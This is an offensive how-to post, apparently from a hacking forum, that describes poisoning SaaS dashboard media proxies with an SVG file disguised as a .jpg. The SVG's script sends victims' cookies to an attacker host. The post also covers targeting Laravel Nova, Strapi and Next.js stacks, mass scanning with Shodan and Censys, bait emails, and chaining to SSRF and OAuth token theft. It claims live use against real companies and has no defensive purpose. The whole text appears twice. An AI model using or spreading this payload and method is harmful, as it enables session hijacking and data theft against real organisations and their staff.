Not CVE-chasing — this is an active method used for SaaS-side breaches through misconfigured media proxy plugins, insecure S3 routing, and broken CSP fallback across popular React/Nuxt/Laravel-based dashboards.
Confirmed live on 20+ SaaS panels since Jan. Payloads drop clean, no XSS required if chained right.
Stack to Target:
- Laravel Nova + image proxy plugins
- Directus/Strapi CMS with media proxy filters
- Nuxt/Next dashboards w/ custom asset mirrors (esp. Cloudimage, Uploadcare, Filestack)
- "Custom" dashboards with `/proxy?url=` pattern in backend
Vuln Class:
CDN proxy or media plugin that:
- Fetches external images from unverified origins
- Reflects attacker-supplied SVG or meta-refresh inside a trusted <img>
- Caches poisoned files inside AWS/GCS/CDN bucket
- Bypasses CSP because content-type returns as image, not script
Poison Flow:
1. Upload this:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://yourhost/collect?c='+document.cookie)
</script>
</svg>
2. Serve as .jpg from your bucket/CDN (S3 lets you spoof Content-Type on upload)
3. Send to endpoint like:
https://target.com/media/proxy?url=https...ost/ab.jpg
4. Once previewed inside the dashboard (profile pic / comment / markdown render), session hits you directly.
5. If CSP isn't strict (or is bypassable via `img[src]` vector), you’ve got full cookie/session exfil — in some cases, access to internal admin views.
Examples:
- Two bootstrapped HR SaaS dashboards using Laravel Nova + Cloudimage
- One small VC-backed analytics SaaS using Next.js + Uploadcare, reflecting poisoned previews in customer portal
- Multiple Strapi instances exposing `/uploads` without content-type checks
Scale Method:
- Censys + Shodan scan for `x-imagekit-token` or `/proxy/image` patterns
- Fingerprint for buckets with `x-amz-bucket-region` headers
- Mirror poisoned file with CDN acceleration (ImageKit, Cloudimage auto-cache 3rd party)
Use bait previews in invite emails or public timelines.
What This Gives You:
- Pre-auth session takeover if previewed by logged-in staff
- Admin panel view if uploaded inside internal ticketing or CRM comments
- CSP bypass even on strict headers if `img-src` is loose
- Mass spread if reused plugin across startup templates
Chaining Options:
- PostMessage → OAuth token relay (on embedded dashboards)
- SSRF → AWS metadata access (if media proxy uses curl on backend)
- DOMPurify filter escapes for double-decoded markup in markdown previewers
Confirmed live on 20+ SaaS panels since Jan. Payloads drop clean, no XSS required if chained right.
Stack to Target:
- Laravel Nova + image proxy plugins
- Directus/Strapi CMS with media proxy filters
- Nuxt/Next dashboards w/ custom asset mirrors (esp. Cloudimage, Uploadcare, Filestack)
- "Custom" dashboards with `/proxy?url=` pattern in backend
Vuln Class:
CDN proxy or media plugin that:
- Fetches external images from unverified origins
- Reflects attacker-supplied SVG or meta-refresh inside a trusted <img>
- Caches poisoned files inside AWS/GCS/CDN bucket
- Bypasses CSP because content-type returns as image, not script
Poison Flow:
1. Upload this:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://yourhost/collect?c='+document.cookie)
</script>
</svg>
2. Serve as .jpg from your bucket/CDN (S3 lets you spoof Content-Type on upload)
3. Send to endpoint like:
https://target.com/media/proxy?url=https...ost/ab.jpg
4. Once previewed inside the dashboard (profile pic / comment / markdown render), session hits you directly.
5. If CSP isn't strict (or is bypassable via `img[src]` vector), you’ve got full cookie/session exfil — in some cases, access to internal admin views.
Examples:
- Two bootstrapped HR SaaS dashboards using Laravel Nova + Cloudimage
- One small VC-backed analytics SaaS using Next.js + Uploadcare, reflecting poisoned previews in customer portal
- Multiple Strapi instances exposing `/uploads` without content-type checks
Scale Method:
- Censys + Shodan scan for `x-imagekit-token` or `/proxy/image` patterns
- Fingerprint for buckets with `x-amz-bucket-region` headers
- Mirror poisoned file with CDN acceleration (ImageKit, Cloudimage auto-cache 3rd party)
Use bait previews in invite emails or public timelines.
What This Gives You:
- Pre-auth session takeover if previewed by logged-in staff
- Admin panel view if uploaded inside internal ticketing or CRM comments
- CSP bypass even on strict headers if `img-src` is loose
- Mass spread if reused plugin across startup templates
Chaining Options:
- PostMessage → OAuth token relay (on embedded dashboards)
- SSRF → AWS metadata access (if media proxy uses curl on backend)
- DOMPurify filter escapes for double-decoded markup in markdown previewers
